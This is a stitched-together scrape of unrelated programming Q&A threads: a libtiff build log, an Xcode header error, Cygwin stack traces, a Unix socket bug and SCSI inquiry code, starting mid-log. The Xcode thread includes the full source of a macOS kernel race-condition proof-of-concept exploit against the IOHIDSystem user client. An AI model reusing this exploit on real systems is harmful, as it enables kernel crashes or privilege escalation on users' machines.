/opt/homebrew/Cellar/libtiff/4.4.0_1/include/tiff.h:66:44: note: expanded from macro 'TIFF_GCC_DEPRECATED'
#define TIFF_GCC_DEPRECATED __attribute__((deprecated))
^
gd_tiff.c:675:70: error: 'uint16' is deprecated [-Werror,-Wdeprecated-declarations]
static int createFromTiffLines(TIFF *tif, gdImagePtr im, uint16 bps, uint16 photometric,
^
/opt/homebrew/Cellar/libtiff/4.4.0_1/include/tiff.h:81:45: note: 'uint16' has been explicitly marked deprecated here
typedef TIFF_MSC_DEPRECATED uint16_t uint16 TIFF_GCC_DEPRECATED;
^
/opt/homebrew/Cellar/libtiff/4.4.0_1/include/tiff.h:66:44: note: expanded from macro 'TIFF_GCC_DEPRECATED'
#define TIFF_GCC_DEPRECATED __attribute__((deprecated))
^
gd_tiff.c:678:2: error: 'uint16' is deprecated [-Werror,-Wdeprecated-declarations]
uint16 planar;
^
/opt/homebrew/Cellar/libtiff/4.4.0_1/include/tiff.h:81:45: note: 'uint16' has been explicitly marked deprecated here
typedef TIFF_MSC_DEPRECATED uint16_t uint16 TIFF_GCC_DEPRECATED;
^
/opt/homebrew/Cellar/libtiff/4.4.0_1/include/tiff.h:66:44: note: expanded from macro 'TIFF_GCC_DEPRECATED'
#define TIFF_GCC_DEPRECATED __attribute__((deprecated))
^
fatal error: too many errors emitted, stopping now [-ferror-limit=]
20 errors generated.
make[2]: *** [gd_tiff.lo] Error 1
make[1]: *** [all] Error 2
make: *** [all-recursive] Error 1

Xcode Building fails why?

Is my headers corrupted or something? or is something missing ? I already uninstalled and deleted everything and all the folders xcode made in /Library and did a fresh reinstall and yet im still gettin errors such as:
Heres my command :
clang -o racer racer.c -framework IOKit
Errors:
typedef uintptr_t vm_offset_t __kernel_ptr_semantics;
^
/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/mach/arm/vm_types.h:107:50: error: expected ';' after top level declarator
typedef uint64_t mach_vm_address_t __kernel_ptr_semantics;
^
/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/mach/arm/vm_types.h:108:49: error: expected ';' after top level declarator
typedef uint64_t mach_vm_offset_t __kernel_ptr_semantics;
^
/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/mach/arm/vm_types.h:111:48: error: expected ';' after top level declarator
typedef uint64_t vm_map_offset_t __kernel_ptr_semantics;
^~~~~~~~~~~~~~~~~~~~~~~~~
1 warning and 10 errors generated.
Summary of the terminal output it's repetitive in multiple default XCode headers i've tried compiling in xcode itself and clang and each one didn't work for me
Heres the Sample Code from a POC exploit I'm trying to compile
// racer.c
// race
//
// Created by Booty Warrior on 7/19/22.
//
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <time.h>
#include <IOKit/IOKitLib.h>
#include <pthread.h>
io_connect_t conn = MACH_PORT_NULL;
uint32_t callCreate(io_connect_t conn) {
kern_return_t err;
uint64_t inputScalar[16];
uint32_t inputScalarCnt = 2;
inputScalar[0] = 0;
inputScalar[1] = 32;
char inputStruct[4096];
size_t inputStructCnt = 0;
uint64_t outputScalar[16];
uint32_t outputScalarCnt = 1;
char outputStruct[4096];
size_t outputStructCnt = 0;
err = IOConnectCallMethod(
conn,
0,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
if (err != KERN_SUCCESS){
printf("unable to createEventQueue 0x%x\n", err);
}
return outputScalar[0];
}
void callDestroy(io_connect_t conn, uint32_t queueID) {
kern_return_t err;
uint64_t inputScalar[16];
uint32_t inputScalarCnt = 2;
inputScalar[0] = 0;
inputScalar[1] = queueID;
char inputStruct[4096];
size_t inputStructCnt = 0;
uint64_t outputScalar[16];
uint32_t outputScalarCnt = 0;
char outputStruct[4096];
size_t outputStructCnt = 0;
err = IOConnectCallMethod(
conn,
1,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
if (err != KERN_SUCCESS){
printf("unable to destroyEventQueue 0x%x\n", err);
}
}
void race(uint32_t queueID) {
callDestroy(conn, queueID);
}
int main1(void)
{
kern_return_t err;
CFMutableDictionaryRef matching = IOServiceMatching("IOHIDSystem");
if(!matching){
printf("unable to create service matching dictionary\n");
return 0;
}
io_iterator_t iterator;
err = IOServiceGetMatchingServices(kIOMainPortDefault, matching, &iterator);
if (err != KERN_SUCCESS){
printf("no matches\n");
return 0;
}
io_service_t service = IOIteratorNext(iterator);
if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 0;
}
printf("got service: %x\n", service);
err = IOServiceOpen(service, mach_task_self(), 3, &conn);
if (err != KERN_SUCCESS){
printf("unable to get user client connection\n");
return 0;
}
printf("got userclient connection: %x\n", conn);
while(1) {
uint32_t queueID = callCreate(conn);
pthread_t t;
pthread_create(&t, NULL, (void *(*)(void *)) race, (void*) (uint32_t)queueID);
callDestroy(conn, queueID);
pthread_join(t, NULL);
}
return 0;
}
My Mac Version is Mac Montery M1 Macbook air 12.3.1 with xcode version 13.4.1
Thanks for any help, tips, or solutions...
got help from outside source they stated putting #define __kernel_ptr_semantics at the very top of the Code which worked for me.

How to get stack trace for C/C++ program in CYGWIN environment?

How to get stack trace for C/C++ program in CYGWIN environment ?
** I was looking for a back trace mechanism, I've compiled some of the solutions found here and made it a small program for quick reference.
My Answers with a code snippet:
#if defined(__CYGWIN__)
#include <Windows.h>
#include <dbghelp.h>
#include <psdk_inc/_dbg_common.h>
#include <cxxabi.h>
#include <cstring>
class Error // Windows version
{
private:
void *stacktrace[MAX_STACKTRACE_SIZE];
size_t stacktrace_size;
public:
const char* message;
Error(const char* m)
: message(m)
, stacktrace_size(0)
{
// Capture the stack, when error is 'hit'
stacktrace_size = CaptureStackBackTrace(0, MAX_STACKTRACE_SIZE, stacktrace, nullptr);
}
void print_backtrace(ostream& out) const
{
SYMBOL_INFO * symbol;
HANDLE process;
size_t length;
process = GetCurrentProcess();
SymInitialize(process, nullptr, TRUE);
symbol = (SYMBOL_INFO *)calloc(sizeof(SYMBOL_INFO) + 256 * sizeof(char), 1);
symbol->MaxNameLen = 255;
symbol->SizeOfStruct = sizeof(SYMBOL_INFO);
length = strlen (symbol->Name);
std::string result;
char tempStr[255] = {0};
for (int i = 0; i < stacktrace_size; i++)
{
int status = 0;
// '_' is missing in symbol->Name , hence prefix it and concat with symbol->Name
char prefixed_symbol [256] = "_" ;
SymFromAddr(process, (DWORD64)(stacktrace[i]), 0, symbol);
auto backtrace_line = string(symbol->Name);
if (backtrace_line.size() == 0) continue;
// https://en.wikipedia.org/wiki/Name_mangling
// Prefix '_' with symbol name, so that __cxa_demangle does the job correctly
// $ c++filt -n _Z9test_ringI12SmallIntegerIhEEvRK4RingIT_E
strcat (prefixed_symbol, symbol->Name);
char * demangled_name = abi::__cxa_demangle(prefixed_symbol, nullptr, nullptr, &status);
if(status < 0)
{
sprintf(tempStr, "%i: %s - 0x%0X\n", stacktrace_size-i-1, symbol->Name, symbol->Address);
// out << symbol->Name << endl;
}
else
{
sprintf(tempStr, "%i: %s - 0x%0X\n", stacktrace_size - i - 1, demangled_name, symbol->Address);
// out << demangled_name << endl;
}
// Append the extracted info to the result
result += tempStr;
// Free the HEAP allocation made by __cxa_demangle
free((void*)demangled_name);
// Restore the prefix '_' string
prefixed_symbol [1] = '\0';
}
std::cout << result << std::endl;
free(symbol);
}
};
int main ()
{
try {
do_something ();
if (false == status) throw Error("SystemError");
}
catch (const Error &error)
{
cout << "NotImplementedError(\"" << error.message << "\")" << endl;
error.print_backtrace(cout);
return 1;
}
#endif
Command Line Option:
// Use -limagehlp to link the library
g++ -std=c++20 main.cpp -limagehlp

Socket creation fails but socket() and bind() method do not return -1

I working on network security based ios app. I am trying to create a local socket for communication between threads. I am doing this with the use of C language in ios app.
The problem is when I am creating and binding socket it does not gives any error. But when I try to send some data over this socket it fails. Code for create and bind of socket is as follows:
int open_and_bind_socket(int *sockfd, const char *sname)
{
//sname is socket name with full path
size_t len = strlen (sname);
size_t bytes = sizeof (struct sockaddr_un) + len + 1 - sizeof (((struct sockaddr_un *)0)->sun_path);
struct sockaddr_un *unaddr = (struct sockaddr_un *)malloc (bytes);
size_t size;
if((*sockfd = socket (AF_LOCAL, SOCK_DGRAM, 0)) < 0)
{
AGENT_DEBUG(LOG_ERR, "%s", "Failed to open socket");
return ~0;
}
unaddr->sun_family = AF_UNIX;
unaddr->sun_len = bytes;
memcpy(unaddr->sun_path, sname,len+1);
size = (offsetof (struct sockaddr_un, sun_path)
+ strlen (unaddr->sun_path));
if( bind(*sockfd,(struct sockaddr*)unaddr,size ) < 0)
{
AGENT_DEBUG(LOG_ERR, "%s", "Failed to bind the socket");
AGENT_DEBUG(LOG_ERR, "Recvfrom MSG_PEEK Failure: %s, Socket Fd = %d\n",
strerror(errno), sockfd);
return ~0;
}
if(0 != chmod(sname, 0666))
{
AGENT_DEBUG(LOG_ERR, "%s", "Unable to chmod Socket");
return ~0;
}
//unlink(sname);
return 0;
}
The code for sending data on socket is as follows:
int data_send(int sockfd, tsIpcMsg *pMsgData)
{
memset(x,'\0', sizeof(x));
strcpy(x, buffer);
strcat(x,"/AGENTSOCKET");
size_t len = strlen (x);
size_t bytes = sizeof (struct sockaddr_un) + len + 1 - sizeof (((struct sockaddr_un *)0)->sun_path);
struct sockaddr_un *saun = (struct sockaddr_un *)malloc (bytes);
memset(saun, 0, sizeof(*saun));
saun->sun_family = AF_UNIX;
saun->sun_len=bytes;
memcpy(saun->sun_path, x,len+1);
memset(x,'\0', sizeof(x));
if(-1 == (sendto(sockfd,(void*)pMsgData, sizeof(tsIpcMsg)+pMsgData->dataLen , 0, (struct sockaddr *)saun, sizeof(*saun))))
{
AGENT_DEBUG(LOG_ERR, "%s", "Failed to send message from thread to main");
return ~0;
}
return 0;
}
When I log the errno returned by sendto() function it gives value '2' which means "No such file or directory exists: A component in pathname does not exist or is a dangling symbolic link, or pathname is empty."
So, I think the socket is not getting created properly that's why sendto() method fails, while the socket and bind method does not give any error.
I am running this app on ios simulator(iPhone 7 plus). The path to the socket is as follows:
"/Users/Admin/Library/Developer/CoreSimulator/Devices/FC85979F-A627-4361-B4BD-DD794AB009C9/data/Containers/Data/Application/C45B9A05-F482-4011-8EA0-947A8C489367/Documents/app/AGENTSOCKET", where AGENTSOCKET is the name of the socket.
I am creating directory structure till app folder and then appending the socket name to it while creating socket in the following manner:
mkdir(path,0777);//path is till app directory
strcat(path, "/AGENTSOCKET");
Can anyone help me to fix this out.
Thanks.
The sun_path field is limited to anywhere from 92-108 characters (depending on platform), including the null terminator. The x string you have shown for data_send() is 185 characters without a null terminator. So, if it is getting truncated, that could account for the ENOENT error you are getting.
That being said, you are calculating the size of sockaddr_un incorrectly, and passing the wrong address size to bind() and sendto(). Also, open_and_bind_socket() and data_send() are leaking memory.
Try something more like this instead:
int open_and_bind_socket(int *sockfd, const char *sname)
{
*sockfd = -1;
//sname is socket name with full path
size_t len = strlen (sname);
size_t size = offsetof (struct sockaddr_un, sun_path) + len + 1;
struct sockaddr_un *unaddr = (struct sockaddr_un *) malloc (size);
if (!unaddr)
{
AGENT_DEBUG(LOG_ERR, "%s", "Failed to allocate memory\n");
return ~0;
}
memset(unaddr, 0, size);
unaddr->sun_family = AF_UNIX;
memcpy(unaddr->sun_path, sname, len);
unaddr->sun_len = SUN_LEN(unaddr);
int sock = socket (AF_LOCAL, SOCK_DGRAM, 0);
if (sock < 0)
{
AGENT_DEBUG(LOG_ERR, "%s", "Failed to create socket: %s\n", strerror(errno));
free(unaddr);
return ~0;
}
if (bind(sock, (struct sockaddr*)unaddr, unaddr->sun_len) < 0)
{
AGENT_DEBUG(LOG_ERR, "%s", "Failed to bind the socket: %s\n", strerror(errno));
close(sock);
free(unaddr);
return ~0;
}
if (0 != chmod(sname, 0666))
{
AGENT_DEBUG(LOG_ERR, "%s", "Unable to chmod socket: %s\n", strerror(errno));
close(sock);
free(unaddr);
return ~0;
}
free(unaddr);
//unlink(sname);
*sockfd = sock;
return 0;
}
int data_send(int sockfd, tsIpcMsg *pMsgData)
{
// this is a buffer overflow waiting to happen!
memset(x, '\0', sizeof(x));
strcpy(x, buffer);
strcat(x, "/AGENTSOCKET");
size_t len = strlen (x);
size_t size = offsetof (struct sockaddr_un, sun_path) + len + 1;
struct sockaddr_un *saun = (struct sockaddr_un *) malloc (size);
if (!saun)
{
AGENT_DEBUG(LOG_ERR, "%s", "Failed to allocate memory\n");
return ~0;
}
memset(saun, 0, size);
saun->sun_family = AF_UNIX;
memcpy(saun->sun_path, x, len);
saun->sun_len = SUN_LEN(saun);
if (sendto(sockfd, (void*)pMsgData, sizeof(tsIpcMsg) + pMsgData->dataLen, 0, (struct sockaddr *)saun, saun->sun_len) < 0)
{
AGENT_DEBUG(LOG_ERR, "%s", "Failed to send message from thread to main: %s\n", strerror(errno));
free(saun);
return ~0;
}
free(saun);
return 0;
}
Alternatively, you do not need to dynamically allocate the sockaddr_un at all:
int open_and_bind_socket(int *sockfd, const char *sname)
{
*sockfd = -1;
struct sockaddr_un unaddr;
memset(&unaddr, 0, sizeof(unaddr));
unaddr.sun_family = AF_UNIX;
strncpy(unaddr.sun_path, sname, sizeof(unaddr.sun_path)-1);
unaddr.sun_len = SUN_LEN(&unaddr);
int sock = socket (AF_LOCAL, SOCK_DGRAM, 0);
if (sock < 0)
{
AGENT_DEBUG(LOG_ERR, "%s", "Failed to create socket: %s\n", strerror(errno));
return ~0;
}
if (bind(sock, (struct sockaddr*) &unaddr, unaddr.sun_len) < 0)
{
AGENT_DEBUG(LOG_ERR, "%s", "Failed to bind the socket: %s\n", strerror(errno));
close(sock);
return ~0;
}
if (0 != chmod(sname, 0666))
{
AGENT_DEBUG(LOG_ERR, "%s", "Unable to chmod socket: %s\n", strerror(errno));
close(sock);
return ~0;
}
//unlink(sname);
*sockfd = sock;
return 0;
}
int data_send(int sockfd, tsIpcMsg *pMsgData)
{
// this is a buffer overflow waiting to happen!
memset(x, '\0', sizeof(x));
strcpy(x, buffer);
strcat(x, "/AGENTSOCKET");
struct sockaddr_un saun;
memset(&saun, 0, sizeof(saun));
saun.sun_family = AF_UNIX;
strncpy(saun.sun_path, x, sizeof(saun.sun_path)-1);
// alternatively this is safer:
// snprintf(saun.sun_path, sizeof(saun.sun_path), "%s/AGENTSOCKET", buffer);
saun.sun_len = SUN_LEN(&saun);
if (sendto(sockfd, (void*)pMsgData, sizeof(*pMsgData) + pMsgData->dataLen, 0, (struct sockaddr *) &saun, saun.sun_len) < 0)
{
AGENT_DEBUG(LOG_ERR, "%s", "Failed to send message from thread to main: %s\n", strerror(errno));
return ~0;
}
return 0;
}

obtaining scsi(including SAS and FC) hardisk model and serial number

I have recently been playing around with some hard drive stuff. Now what I want to do is print out the model and serial number of harddisk. Sata drives are very easy with ioctl. scsi on the other hand I have to send an inquiry command. I found a very helpful site which explains everything and even has a example program: http://tldp.org/HOWTO/archived/SCSI-Programming-HOWTO/SCSI-Programming-HOWTO-24.html
but I only get nothing or gibberish as a result if I print it out. I even had to fix the program as stdlib wasn't included and the function Inquiry returned a local variable. But I have no idea how to fix it...
#define DEVICE "/dev/sdb"
/* Example program to demonstrate the generic SCSI interface */
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <errno.h>
#include <scsi/sg.h>
#define SCSI_OFF sizeof(struct sg_header)
static unsigned char cmd[SCSI_OFF + 18]; /* SCSI command buffer */
int fd; /* SCSI device/file descriptor */
/* process a complete scsi cmd. Use the generic scsi interface. */
static int handle_scsi_cmd(unsigned cmd_len, /* command length */
unsigned in_size, /* input data size */
unsigned char *i_buff, /* input buffer */
unsigned out_size, /* output data size */
unsigned char *o_buff /* output buffer */
)
{
int status = 0;
struct sg_header *sg_hd;
/* safety checks */
if (!cmd_len) return -1; /* need a cmd_len != 0 */
if (!i_buff) return -1; /* need an input buffer != NULL */
#ifdef SG_BIG_BUFF
if (SCSI_OFF + cmd_len + in_size > SG_BIG_BUFF) return -1;
if (SCSI_OFF + out_size > SG_BIG_BUFF) return -1;
#else
if (SCSI_OFF + cmd_len + in_size > 4096) return -1;
if (SCSI_OFF + out_size > 4096) return -1;
#endif
if (!o_buff) out_size = 0;
/* generic scsi device header construction */
sg_hd = (struct sg_header *) i_buff;
sg_hd->reply_len = SCSI_OFF + out_size;
sg_hd->twelve_byte = cmd_len == 12;
sg_hd->result = 0;
#if 0
sg_hd->pack_len = SCSI_OFF + cmd_len + in_size; /* not necessary */
sg_hd->pack_id; /* not used */
sg_hd->other_flags; /* not used */
#endif
/* send command */
status = write( fd, i_buff, SCSI_OFF + cmd_len + in_size );
if ( status < 0 || status != SCSI_OFF + cmd_len + in_size ||
sg_hd->result ) {
/* some error happened */
fprintf( stderr, "write(generic) result = 0x%x cmd = 0x%x\n",
sg_hd->result, i_buff[SCSI_OFF] );
perror("");
return status;
}
if (!o_buff) o_buff = i_buff; /* buffer pointer check */
/* retrieve result */
status = read( fd, o_buff, SCSI_OFF + out_size);
if ( status < 0 || status != SCSI_OFF + out_size || sg_hd->result ) {
/* some error happened */
fprintf( stderr, "read(generic) result = 0x%x cmd = 0x%x\n",
sg_hd->result, o_buff[SCSI_OFF] );
fprintf( stderr, "read(generic) sense "
"%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x\n",
sg_hd->sense_buffer[0], sg_hd->sense_buffer[1],
sg_hd->sense_buffer[2], sg_hd->sense_buffer[3],
sg_hd->sense_buffer[4], sg_hd->sense_buffer[5],
sg_hd->sense_buffer[6], sg_hd->sense_buffer[7],
sg_hd->sense_buffer[8], sg_hd->sense_buffer[9],
sg_hd->sense_buffer[10], sg_hd->sense_buffer[11],
sg_hd->sense_buffer[12], sg_hd->sense_buffer[13],
sg_hd->sense_buffer[14], sg_hd->sense_buffer[15]);
if (status < 0)
perror("");
}
/* Look if we got what we expected to get */
if (status == SCSI_OFF + out_size) status = 0; /* got them all */
return status; /* 0 means no error */
}
#define INQUIRY_CMD 0x12
#define INQUIRY_CMDLEN 6
#define INQUIRY_REPLY_LEN 96
#define INQUIRY_VENDOR 8 /* Offset in reply data to vendor name */
/* request vendor brand and model */
static unsigned char *Inquiry ( void )
{
unsigned char Inqbuffer[ SCSI_OFF + INQUIRY_REPLY_LEN ];
unsigned char cmdblk [ INQUIRY_CMDLEN ] =
{ INQUIRY_CMD, /* command */
0, /* lun/reserved */
0, /* page code */
0, /* reserved */
INQUIRY_REPLY_LEN, /* allocation length */
0 };/* reserved/flag/link */
memcpy( cmd + SCSI_OFF, cmdblk, sizeof(cmdblk) );
/*
* +------------------+
* | struct sg_header | <- cmd
* +------------------+
* | copy of cmdblk | <- cmd + SCSI_OFF
* +------------------+
*/
if (handle_scsi_cmd(sizeof(cmdblk), 0, cmd,
sizeof(Inqbuffer) - SCSI_OFF, Inqbuffer )) {
fprintf( stderr, "Inquiry failed\n" );
exit(2);
}
return (Inqbuffer + SCSI_OFF);
}
void main( void )
{
fd = open(DEVICE, O_RDWR);
if (fd < 0) {
fprintf( stderr, "Need read/write permissions for "DEVICE".\n" );
exit(1);
}
/* print some fields of the Inquiry result */
printf( "||%s||", Inquiry() + INQUIRY_VENDOR );
}

Resources